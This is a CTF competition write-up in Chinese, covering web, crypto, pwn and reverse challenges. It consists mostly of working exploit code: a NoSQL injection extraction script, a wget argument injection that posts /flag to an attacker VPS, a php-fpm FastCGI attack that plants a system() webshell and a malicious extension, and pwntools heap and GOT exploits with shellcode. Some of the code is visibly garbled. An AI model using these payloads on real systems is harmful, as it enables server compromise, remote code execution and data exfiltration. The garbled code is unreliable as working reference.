陇原战“疫”2021-WriteUp

百家 作者:Chamd5安全团队 2021-11-09 10:17:46


Web

01

Checkin


解题思路
这道题 前面根据 源码应该是 nosql注入,我分析的payload:
username='||1) {return true;}})//&password=123456
盲注得
admin/54a83850073b0f4c6862d5a1d48ea84f
import time
import requests
import string

session = requests.session()
chars = string.printable
password = ''

burp0_url = "http://d8304b2c-689b-4b9f-844a-1c3358bb57de.node4.buuoj.cn:81/login"
burp0_headers = {"Cache-Control""max-age=0""Origin""http://d8304b2c-689b-4b9f-844a-1c3358bb57de.node4.buuoj.cn:81""Upgrade-Insecure-Requests""1""DNT""1""Content-Type""application/x-www-form-urlencoded""User-Agent""Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36""Accept""text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9""Referer""http://d8304b2c-689b-4b9f-844a-1c3358bb57de.node4.buuoj.cn:81/login""Accept-Encoding""gzip, deflate""Accept-Language""zh-CN,zh;q=0.9""Connection""close"}

burp0_data = {"username""'|| this.password[0] != 'A') {return true;}})//""password""test"}
for x in range(0,100):
    for y in chars:
        burp0_data['username'] = "'|| this.password[" + str(x) + "] == '" + y + "') {return true;}})//"
        response = session.post(burp0_url, headers=burp0_headers, data=burp0_data)
        # print(response.text)
        if 'successfully' in response.text:
            password += y
            print(password)
            break
        time.sleep(0.06)
# username:admin
# pwd:54a83850073b0f4c6862d5a1d48ea84f
/wget?argv=aa&argv=--post-file=/flag&argv=vpsip:port




02

eaaasyphp

传一下代码看到phpinfo
?code=O%3A4%3A"Esle"%3A1%3A%7Bs%3A2%3A"xx"%3BO%3A6%3A"Bypass"%3A1%3A%7Bs%3A4%3A"str4"%3Bs%3A7%3A"phpinfo"%3B%7D%7D

file_put_contents打fpm,可以出网,参考蓝帽杯的One Pointer PHP,比如http://www.yang99.top/index.php/archives/52/#%E8%93%9D%E5%B8%BD%E6%9D%AF2021onepointerphp,这里用的是fpm的默认9000端口,vps上跑一个evil ftp,代码如下

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 10004))
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome\n')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.\n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.\n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.\n')
#Size /
conn.send(b'550 Could not get the file size.\n')
#EPSV (1)
conn.send(b'150 ok\n')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9000)\n') #STOR / (2)
conn.send(b'150 Permission denied.\n')
#QUIT
conn.send(b'221 Goodbye.\n')
conn.close()

用经典代码生成恶意攻击payload

<?php
/**
 * Note : Code is released under the GNU LGPL
 *
 * Please do not change the header of this file
 *
 * This library is free software; you can redistribute it and/or modify it under the terms of the GNU
 * Lesser General Public License as published by the Free Software Foundation; either version 2 of
 * the License, or (at your option) any later version.
 *
 * This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
 * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
 *
 * See the GNU Lesser General Public License for more details.
 */

/**
 * Handles communication with a FastCGI application
 *
 * @author      Pierrick Charron <pierrick@webstart.fr>
 * @version     1.0
 */

class FCGIClient
{
    const VERSION_1            = 1;
    const BEGIN_REQUEST        = 1;
    const ABORT_REQUEST        = 2;
    const END_REQUEST          = 3;
    const PARAMS               = 4;
    const STDIN                = 5;
    const STDOUT               = 6;
    const STDERR               = 7;
    const DATA                 = 8;
    const GET_VALUES           = 9;
    const GET_VALUES_RESULT    = 10;
    const UNKNOWN_TYPE         = 11;
    const MAXTYPE              = self::UNKNOWN_TYPE;
    const RESPONDER            = 1;
    const AUTHORIZER           = 2;
    const FILTER               = 3;
    const REQUEST_COMPLETE     = 0;
    const CANT_MPX_CONN        = 1;
    const OVERLOADED           = 2;
    const UNKNOWN_ROLE         = 3;
    const MAX_CONNS            = 'MAX_CONNS';
    const MAX_REQS             = 'MAX_REQS';
    const MPXS_CONNS           = 'MPXS_CONNS';
    const HEADER_LEN           = 8;
    /**
     * Socket
     * @var Resource
     */

    private $_sock = null;
    /**
     * Host
     * @var String
     */

    private $_host = null;
    /**
     * Port
     * @var Integer
     */

    private $_port = null;
    /**
     * Keep Alive
     * @var Boolean
     */

    private $_keepAlive = false;
    /**
     * Constructor
     *
     * @param String $host Host of the FastCGI application
     * @param Integer $port Port of the FastCGI application
     */

    public function __construct($host, $port = 9001) // and default value for portjust for unixdomain socket
    
{
        $this->_host = $host;
        $this->_port = $port;
    }
    /**
     * Define whether or not the FastCGI application should keep the connection
     * alive at the end of a request
     *
     * @param Boolean $b true if the connection should stay alive, false otherwise
     */

    public function setKeepAlive($b)
    
{
        $this->_keepAlive = (boolean)$b;
        if (!$this->_keepAlive && $this->_sock) {
            fclose($this->_sock);
        }
    }
    /**
     * Get the keep alive status
     *
     * @return Boolean true if the connection should stay alive, false otherwise
     */

    public function getKeepAlive()
    
{
        return $this->_keepAlive;
    }
    /**
     * Create a connection to the FastCGI application
     */

    private function connect()
    
{
        if (!$this->_sock) {
            //$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
            $this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
            if (!$this->_sock) {
                throw new Exception('Unable to connect to FastCGI application');
            }
        }
    }
    /**
     * Build a FastCGI packet
     *
     * @param Integer $type Type of the packet
     * @param String $content Content of the packet
     * @param Integer $requestId RequestId
     */

    private function buildPacket($type, $content, $requestId = 1)
    
{
        $clen = strlen($content);
        return chr(self::VERSION_1)         /* version */
            . chr($type)                    /* type */
            . chr(($requestId >> 8) & 0xFF/* requestIdB1 */
            . chr($requestId & 0xFF)        /* requestIdB0 */
            . chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
            . chr($clen & 0xFF)             /* contentLengthB0 */
            . chr(0)                        /* paddingLength */
            . chr(0)                        /* reserved */
            . $content;                     /* content */
    }
    /**
     * Build an FastCGI Name value pair
     *
     * @param String $name Name
     * @param String $value Value
     * @return String FastCGI Name value pair
     */

    private function buildNvpair($name, $value)
    
{
        $nlen = strlen($name);
        $vlen = strlen($value);
        if ($nlen < 128) {
            /* nameLengthB0 */
            $nvpair = chr($nlen);
        } else {
            /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
            $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
        }
        if ($vlen < 128) {
            /* valueLengthB0 */
            $nvpair .= chr($vlen);
        } else {
            /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
            $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
        }
        /* nameData & valueData */
        return $nvpair . $name . $value;
    }
    /**
     * Read a set of FastCGI Name value pairs
     *
     * @param String $data Data containing the set of FastCGI NVPair
     * @return array of NVPair
     */

    private function readNvpair($data, $length = null)
    
{
        $array = array();
        if ($length === null) {
            $length = strlen($data);
        }
        $p = 0;
        while ($p != $length) {
            $nlen = ord($data{$p++});
            if ($nlen >= 128) {
                $nlen = ($nlen & 0x7F << 24);
                $nlen |= (ord($data{$p++}) << 16);
                $nlen |= (ord($data{$p++}) << 8);
                $nlen |= (ord($data{$p++}));
            }
            $vlen = ord($data{$p++});
            if ($vlen >= 128) {
                $vlen = ($nlen & 0x7F << 24);
                $vlen |= (ord($data{$p++}) << 16);
                $vlen |= (ord($data{$p++}) << 8);
                $vlen |= (ord($data{$p++}));
            }
            $array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
            $p += ($nlen + $vlen);
        }
        return $array;
    }
    /**
     * Decode a FastCGI Packet
     *
     * @param String $data String containing all the packet
     * @return array
     */

    private function decodePacketHeader($data)
    
{
        $ret = array();
        $ret['version']       = ord($data{0});
        $ret['type']          = ord($data{1});
        $ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});
        $ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
        $ret['paddingLength'] = ord($data{6});
        $ret['reserved']      = ord($data{7});
        return $ret;
    }
    /**
     * Read a FastCGI Packet
     *
     * @return array
     */

    private function readPacket()
    
{
        if ($packet = fread($this->_sock, self::HEADER_LEN)) {
            $resp = $this->decodePacketHeader($packet);
            $resp['content'] = '';
            if ($resp['contentLength']) {
                $len  = $resp['contentLength'];
                while ($len && $buf=fread($this->_sock, $len)) {
                    $len -= strlen($buf);
                    $resp['content'] .= $buf;
                }
            }
            if ($resp['paddingLength']) {
                $buf=fread($this->_sock, $resp['paddingLength']);
            }
            return $resp;
        } else {
            return false;
        }
    }
    /**
     * Get Informations on the FastCGI application
     *
     * @param array $requestedInfo information to retrieve
     * @return array
     */

    public function getValues(array $requestedInfo)
    
{
        $this->connect();
        $request = '';
        foreach ($requestedInfo as $info) {
            $request .= $this->buildNvpair($info, '');
        }
        fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
        $resp = $this->readPacket();
        if ($resp['type'] == self::GET_VALUES_RESULT) {
            return $this->readNvpair($resp['content'], $resp['length']);
        } else {
            throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
        }
    }
    /**
     * Execute a request to the FastCGI application
     *
     * @param array $params Array of parameters
     * @param String $stdin Content
     * @return String
     */

    public function request(array $params, $stdin)
    
{
        $response = '';
//        $this->connect();
        $request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
        $paramsRequest = '';
        foreach ($params as $key => $value) {
            $paramsRequest .= $this->buildNvpair($key, $value);
        }
        if ($paramsRequest) {
            $request .= $this->buildPacket(self::PARAMS, $paramsRequest);
        }
        $request .= $this->buildPacket(self::PARAMS, '');
        if ($stdin) {
            $request .= $this->buildPacket(self::STDIN, $stdin);
        }
        $request .= $this->buildPacket(self::STDIN, '');
        echo('data='.urlencode($request));
//        fwrite($this->_sock, $request);
//        do {
//            $resp = $this->readPacket();
//            if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
//                $response .= $resp['content'];
//            }
//        } while ($resp && $resp['type'] != self::END_REQUEST);
//        var_dump($resp);
//        if (!is_array($resp)) {
//            throw new Exception('Bad request');
//        }
//        switch (ord($resp['content']{4})) {
//            case self::CANT_MPX_CONN:
//                throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
//                break;
//            case self::OVERLOADED:
//                throw new Exception('New request rejected; too busy [OVERLOADED]');
//                break;
//            case self::UNKNOWN_ROLE:
//                throw new Exception('Role value not known [UNKNOWN_ROLE]');
//                break;
//            case self::REQUEST_COMPLETE:
//                return $response;
//        }
    }
}
?>
<?php
// real exploit start here
//if (!isset($_REQUEST['cmd'])) {
//    die("Check your input\n");
//}
//if (!isset($_REQUEST['filepath'])) {
//    $filepath = __FILE__;
//}else{
//    $filepath = $_REQUEST['filepath'];
//}

$filepath = "/var/www/html/index.php";
$req = '/'.basename($filepath);
$uri = $req .'?'.'command=whoami';
$client = new FCGIClient("unix:///var/run/php-fpm.sock"-1);
$code = "<?php system(\$_REQUEST['command']); phpinfo(); ?>"
$php_value = "unserialize_callback_func = system\nextension_dir = /tmp\nextension = fpm-exp.so\ndisable_classes = \ndisable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = ";
$params = array(
    'GATEWAY_INTERFACE' => 'FastCGI/1.0',
    'REQUEST_METHOD'    => 'POST',
    'SCRIPT_FILENAME'   => $filepath,
    'SCRIPT_NAME'       => $req,
    'QUERY_STRING'      => 'command=whoami',
    'REQUEST_URI'       => $uri,
    'DOCUMENT_URI'      => $req,
#'DOCUMENT_ROOT'     => '/',
    'PHP_VALUE'         => $php_value,
    'SERVER_SOFTWARE'   => '80sec/wofeiwo',
    'REMOTE_ADDR'       => '127.0.0.1',
    'REMOTE_PORT'       => '9000',
    'SERVER_ADDR'       => '127.0.0.1',
    'SERVER_PORT'       => '80',
    'SERVER_NAME'       => 'localhost',
    'SERVER_PROTOCOL'   => 'HTTP/1.1',
    'CONTENT_LENGTH'    => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo "Call: $uri\n\n";
echo $client->request($params, $code)."\n";
?>

利用反序列化先写入/tmp/fpm-exp.so,然后再访问vps的ftp服务即可

<?php
class Check {
    public static $str1 = false;
    public static $str2 = false;
}

class Esle {
    public $xx;
}

class Hint {
    public function __wakeup(){
        $this->hint = "no hint";
    }
    public function __destruct(){
        if(!$this->hint){
            $this->hint = "phpinfo";
            ($this->hint)();
        }
    }
}

class Bunny {
    public $filename;
    public $data;
}
class Welcome {
    public $username;
}
class Bypass {
    public $str4;
}
$realdata="%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%02%1E%00%00%11%0BGATEWAY_INTERFACEFastCGI%2F1.0%0E%04REQUEST_METHODPOST%0F%0ASCRIPT_FILENAME%2Ftmp%2F1.php%0B%06SCRIPT_NAME%2F1.php%0C%0EQUERY_STRINGcommand%3Dwhoami%0B%15REQUEST_URI%2F1.php%3Fcommand%3Dwhoami%0C%06DOCUMENT_URI%2F1.php%09%80%00%00%B3PHP_VALUEunserialize_callback_func+%3D+system%0Aextension_dir+%3D+%2Ftmp%0Aextension+%3D+fpm-exp.so%0Adisable_classes+%3D+%0Adisable_functions+%3D+%0Aallow_url_include+%3D+On%0Aopen_basedir+%3D+%2F%0Aauto_prepend_file+%3D+%0F%0DSERVER_SOFTWARE80sec%2Fwofeiwo%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9000%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP%2F1.1%0E%02CONTENT_LENGTH49%01%04%00%01%00%00%00%00%01%05%00%01%001%00%00%3C%3Fphp+system%28%24_REQUEST%5B%27command%27%5D%29%3B+phpinfo%28%29%3B+%3F%3E%01%05%00%01%00%00%00%00";
$e = new Esle();
$a = new Bypass();
$b = new Welcome();
$c = new Bunny();
$c->filename="ftp://aa:passwd@vpsip:port/test.txt";
$c->data=urldecode($realdata);
$b->username=$c;
$a->str4=$b;
$e->xx=$a;
echo urlencode(serialize($e));






Crypto


01

Civet cat for Prince

解题思路
from pwn import *
from parse import *
from pwnlib.util.iters import bruteforce
import string
from hashlib import sha256
import hashlib

def brute_force(prefix,s):
    return bruteforce(lambda x:sha256((x+prefix).encode("ascii")).hexdigest()==s,string.ascii_letters+string.digits,length=4,method='fixed')


r=remote('node4.buuoj.cn',27219)
pow_line = r.recvline().decode("ascii")
pow_prefix, pow_hash = parse("[+] sha256(XXXX+{}) == {}\n",pow_line)

r.recvuntil('Give Me XXXX :')
r.sendline(brute_force(pow_prefix,pow_hash))

r.recvuntil('2.Go away\n')
r.sendline('1')
r.recvuntil('\n')
r.sendline('Princepermission')
r.recvuntil('She will play with you\n')

self_iv = r.recvline()[6:-1]

r.recvuntil('3.say Goodbye\n')

r.sendline('1')
r.recvuntil("Here you are~\n")
permission = r.recvline()[11:-1]
prince_permission=permission[:16]

r.sendline('2')
r.recvuntil('Give me your permission:\n')
r.sendline(self_iv)
r.recvuntil('Miao~ \n')
r.sendline(b'\x00'*16)
r.recvuntil('The message is ')
plain_prev=r.recvline()[:-1]
iv_prev=bytes([a^b  for (a,b) in zip(plain_prev, b'Princepermission') ])

r.sendline('2')
r.recvuntil('Give me your permission:\n')
r.sendline(self_iv+prince_permission)
r.recvuntil('Miao~ \n')
r.sendline(iv_prev)
r.recvuntil('The message is ')
plain=r.recvline()[:-1]

print(plain)

r.recvuntil('Give me your permission:\n')
r.sendline(self_iv+prince_permission)
r.recvuntil("What's the cat tell you?\n")
r.sendline(iv_prev)

r.interactive()




02

easytask

解题思路
from sage.modules.free_module_integer import IntegerLattice

e = [151991736758354,115130361237591,58905390613532,130965235357066,74614897867998,48099459442369,45894485782943,7933340009592,25794185638]

W = [[-10150241248,-11679953514,-8802490385,-12260198788,-10290571893,-334269043,-11669932300,-2158827458,-7021995],\
[52255960212,48054224859,28230779201,43264260760,20836572799,8191198018,14000400181,4370731005,14251110],\
[2274129180,-1678741826,-1009050115,1858488045,978763435,4717368685,-561197285,-1999440633,-6540190],\
[45454841384,34351838833,19058600591,39744104894,21481706222,14785555279,13193105539,2306952916,7501297],\
[-16804706629,-13041485360,-8292982763,-16801260566,-9211427035,-4808377155,-6530124040,-2572433293,-8393737],\
[28223439540,19293284310,5217202426,27179839904,23182044384,10788207024,18495479452,4007452688,13046387],\
[968256091,-1507028552,1677187853,8685590653,9696793863,2942265602,10534454095,2668834317,8694828],\
[33556338459,26577210571,16558795385,28327066095,10684900266,9113388576,2446282316,-173705548,-577070],\
[35404775180,32321129676,15071970630,24947264815,14402999486,5857384379,10620159241,2408185012,7841686]]

c = "1070260d8986d5e3c4b7e672a6f1ef2c185c7fff682f99cc4a8e49cfce168aa0"

def CVP(lattice, target):
    print("executing Gram_Schmidt")
    gram = lattice.gram_schmidt()[0]
    print("Finish")
    t = target
    for i in reversed(range(lattice.nrows())):
        c = ((t * gram[i]) / (gram[i] * gram[i])).round()
        t -= lattice[i] * c
    return target - t

A = matrix(ZZ, W)
B = matrix(ZZ, W)

print("Executing LLL")
lattice = IntegerLattice(B, lll_reduce=True)
print("Finish")

target = vector(ZZ, e)
P=CVP(lattice.reduced_basis,target)

solution=A.solve_left(P)

import hashlib
from Crypto.Cipher import AES

c = "1070260d8986d5e3c4b7e672a6f1ef2c185c7fff682f99cc4a8e49cfce168aa0"
M=[877, 619, 919, 977, 541, 941, 947, 1031, 821]
key = hashlib.sha256(str(M).encode()).digest()
cipher = AES.new(key, AES.MODE_ECB)




Pwn

01


bbbaby

解题思路:

got->onegadget
# _*_ coding:utf-8 _*_
from pwn import *
context.log_level = 'debug'
context.terminal=['tmux''splitw''-h']
prog = './pwn1'
#elf = ELF(prog)#nc 121.36.194.21 49155
# p = process(prog,env={"LD_PRELOAD":"./libc-2.23.so"})
# libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
p = remote("node4.buuoj.cn"28232)#nc 124.71.130.185 49155
def debug(addr,PIE=True): 
    debug_str = ""
    if PIE:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16
        for i in addr:
            debug_str+='b *{}\n'.format(hex(text_base+i))
        gdb.attach(p,debug_str) 
    else:
        for i in addr:
            debug_str+='b *{}\n'.format(hex(i))
        gdb.attach(p,debug_str) 

def dbg():
    gdb.attach(p)
#-----------------------------------------------------------------------------------------
s       = lambda data               :p.send(str(data))        #in case that data is an int
sa      = lambda delim,data         :p.sendafter(str(delim), str(data)) 
sl      = lambda data               :p.sendline(str(data)) 
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data)) 
r       = lambda numb=4096          :p.recv(numb)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
it      = lambda                    :p.interactive()
uu32    = lambda data   :u32(data.ljust(4'\0'))
uu64    = lambda data   :u64(data.ljust(8'\0'))
bp      = lambda bkp                :pdbg.bp(bkp)
li      = lambda str1,data1         :log.success(str1+'========>'+hex(data1))


def dbgc(addr):
    gdb.attach(p,"b*" + hex(addr) +"\n c")

def lg(s,addr):
    print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))

sh_x86_18="\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x86_20="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x64_21="\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05"
#https://www.exploit-db.com/shellcodes
#-----------------------------------------------------------------------------------------

def choice(idx):
    sla("your choice",str(idx))


def exp():

    # debug([0x400903,0x4008b3],0)
    # choice(1)
    # sla("size:",0x400)
    # sla("content:",'a'*0x400)

    choice(0)
    sla("address:",(6295592))
    # debug([0x4007fd],0)
    sa("content:",p16(0x62a4))
    # dbg()
    it()
if __name__ == '__main__':
    exp()

# giantbranch@ubuntu:/mnt/hgfs/ctf/2021_L隆源疫情/pwn11$ one_gadget -l 2 libc-2.23.so 
# 0x45216 execve("/bin/sh", rsp+0x30, environ)
# constraints:
#   rax == NULL

# 0x4526a execve("/bin/sh", rsp+0x30, environ)
# constraints:
#   [rsp+0x30] == NULL

# 0xcd0f3 execve("/bin/sh", rcx, r12)
# constraints:
#   [rcx] == NULL || rcx == NULL
#   [r12] == NULL || r12 == NULL

# 0xcd1c8 execve("/bin/sh", rax, r12)
# constraints:
#   [rax] == NULL || rax == NULL
#   [r12] == NULL || r12 == NULL

# 0xf02a4 execve("/bin/sh", rsp+0x50, environ)
# constraints:
#   [rsp+0x50] == NULL

# 0xf02b0 execve("/bin/sh", rsi, [rax])
# constraints:
#   [rsi] == NULL || rsi == NULL
#   [[rax]] == NULL || [rax] == NULL

# 0xf1147 execve("/bin/sh", rsp+0x70, environ)
# constraints:
#   [rsp+0x70] == NULL

# 0xf66f0 execve("/bin/sh", rcx, [rbp-0xf8])
# constraints:
#   [rcx] == NULL || rcx == NULL
#   [[rbp-0xf8]] == NULL || [rbp-0xf8] == NULL




02

Magic

解题思路

# _*_ coding:utf-8 _*_
from pwn import *
context.log_level = 'debug'
context.terminal=['tmux''splitw''-h']
prog = './Magic'
#elf = ELF(prog)#nc 121.36.194.21 49155
# p = process(prog,env={"LD_PRELOAD":"./libc/libc-2.23.so"})
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
p = remote("node4.buuoj.cn"25680)#nc 124.71.130.185 49155
def debug(addr,PIE=True): 
    debug_str = ""
    if PIE:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16
        for i in addr:
            debug_str+='b *{}\n'.format(hex(text_base+i))
        gdb.attach(p,debug_str) 
    else:
        for i in addr:
            debug_str+='b *{}\n'.format(hex(i))
        gdb.attach(p,debug_str) 

def dbg():
    gdb.attach(p)
#-----------------------------------------------------------------------------------------
s       = lambda data               :p.send(str(data))        #in case that data is an int
sa      = lambda delim,data         :p.sendafter(str(delim), str(data)) 
sl      = lambda data               :p.sendline(str(data)) 
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data)) 
r       = lambda numb=4096          :p.recv(numb)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
it      = lambda                    :p.interactive()
uu32    = lambda data   :u32(data.ljust(4'\0'))
uu64    = lambda data   :u64(data.ljust(8'\0'))
bp      = lambda bkp                :pdbg.bp(bkp)
li      = lambda str1,data1         :log.success(str1+'========>'+hex(data1))


def dbgc(addr):
    gdb.attach(p,"b*" + hex(addr) +"\n c")

def lg(s,addr):
    print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))

sh_x86_18="\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x86_20="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x64_21="\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05"
#https://www.exploit-db.com/shellcodes
#-----------------------------------------------------------------------------------------

def choice(idx):
    sla("Input your choice: ",str(idx)+'\n\n')
    # sla("Input your choice: ",str(idx))

def add(idx):
    choice(1)
    sa("Input the idx",str(idx)+'\x00\x00\x00')
    # sl('\n\n')
    # sla("Size: ",sz)
    # sa("content?",cno)

def delete(idx):

    choice(3)
    sa("Input the idx",str(idx)+'\x00\x00\x00')
    # sl('\n\n')

# def show(idx):
#   choice(3)
#   sla("Index: ",idx)

def edit(idx,con):
    choice(2)
    sa("Input the idx",str(idx)+'\x00\x00\x00')
    # sl('\n')
    # sla("size?",sz)
    sa("Input the Magic",con)



def exp():
    # debug([0x13aa])
    add(0)
    edit(0,'a'*8)
    # delete(0)
    ru('a'*8)
    data = uu64(r(6))
    lg('data',data)
    addr = data - 0x7fe66967cd98 + 0x7fe6692b8000
    mh = addr + libc.sym['__malloc_hook']
    rh = addr + libc.sym['realloc']
    lg('addr',addr)
    one = addr + 0x4527a
#-----------------------------
    delete(0)
    edit(0,p64(mh-0x23))
    add(0)
    add(1)
    lg('rh',rh)
    edit(1,(0x13-8)*'a'+p64(one)+p64(rh+13))
    # dbg()

    add(0)



    it()
if __name__ == '__main__':
    exp()




Reverse

01

EasyRe

解题思路

查看字符串就有




02

findme

解题思路
main函数里面F5,核心逻辑在off_403844
puts("Please input your flag:");
  scanf("%s", Str);
  if ( sub_401610(Str) )
  {
    if ( off_403844("SETCTF2021", Str) )
      printf("Success!");
    else
      printf("Wrong!");
  }
进去off_403844,竟然指向strcmp,很明显有问题,输入是长度26比对字符串不足26
交叉引用off_403844,找到真正的比对函数
int __cdecl sub_401866(char *key, char *input)
{
  //...
  for ( i = 0; ; ++i )
  {
    v2 = i;
    if ( v2 >= strlen(key) )
      break;
    v7[i] = key[i];
  }
  memset(v6, 0sizeof(v6));
  for ( j = 0; ; ++j )
  {
    v3 = j;
    if ( v3 >= strlen(input) )
      break;
    v6[j] = input[j];
  }
  v10 = strlen(v6);
  v4 = strlen(v7);
  rc4_init(v9, v7, v4);
  for ( k = 0; k <= 255; ++k )
    v8[k] = v9[k];
  rc4_crypt(v8, v6, v10);
  for ( l = 0; l <= 511; ++l )
  {
    if ( v6[l] != dword_403040[l] )
      return 0;
  }
  return 1;
}

就是个rc4,解题脚本

#include <stdio.h>
#include "defs.h"
// #include <iostream>
#include <inttypes.h>

void rc4_init(unsigned char *s, unsigned char *key, unsigned long Len) //初始化函数
{
    int i =0, j = 0;
    char k[256] = {0};
    unsigned char tmp = 0;
    for (i=0;i<256;i++) {
        s[i] = i;
        k[i] = key[i%Len];
    }
    for (i=0; i<256; i++) {
        j=(j+s[i]+k[i])%256;
        tmp = s[i];
        s[i] = s[j]; //交换s[i]和s[j]
        s[j] = tmp;
    }
 }

void rc4_crypt(unsigned char *s, unsigned char *Data, unsigned long Len) //加解密
{
    int i = 0, j = 0, t = 0;
    unsigned long k = 0;
    unsigned char tmp;
    for(k=0;k<Len;k++) {
        i=(i+1)%256;
        j=(j+s[i])%256;
        tmp = s[i];
        s[i] = s[j]; //交换s[x]和s[y]
        s[j] = tmp;
        t=(s[i]+s[j])%256;
        Data[k] ^= s[t];
     }


int main(){
  uint8_t k[]="SETCTF2021";
  uint8_t s[256];
  uint8_t t[512];
  uint32_t target[]={429496722382429496717342949672334294967184429496727374294967224429496726826429496723542949672292942949671824294967173700336842949672154294967279112504294967221174294967238000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000};
  for(size_t i=0;i<sizeof(target)/4;i++){
      t[i]=target[i];
  }
  rc4_init(s,k,sizeof(k)-1);
  rc4_crypt(s,t,512);
  printf("%s\n",t);

}


end


ChaMd5 ctf组 长期招新

尤其是crypto+reverse+pwn+合约的大佬

欢迎联系admin@chamd5.org



关注公众号:拾黑(shiheibook)了解更多

[广告]赞助链接:

四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

公众号 关注网络尖刀微信公众号
随时掌握互联网精彩
赞助链接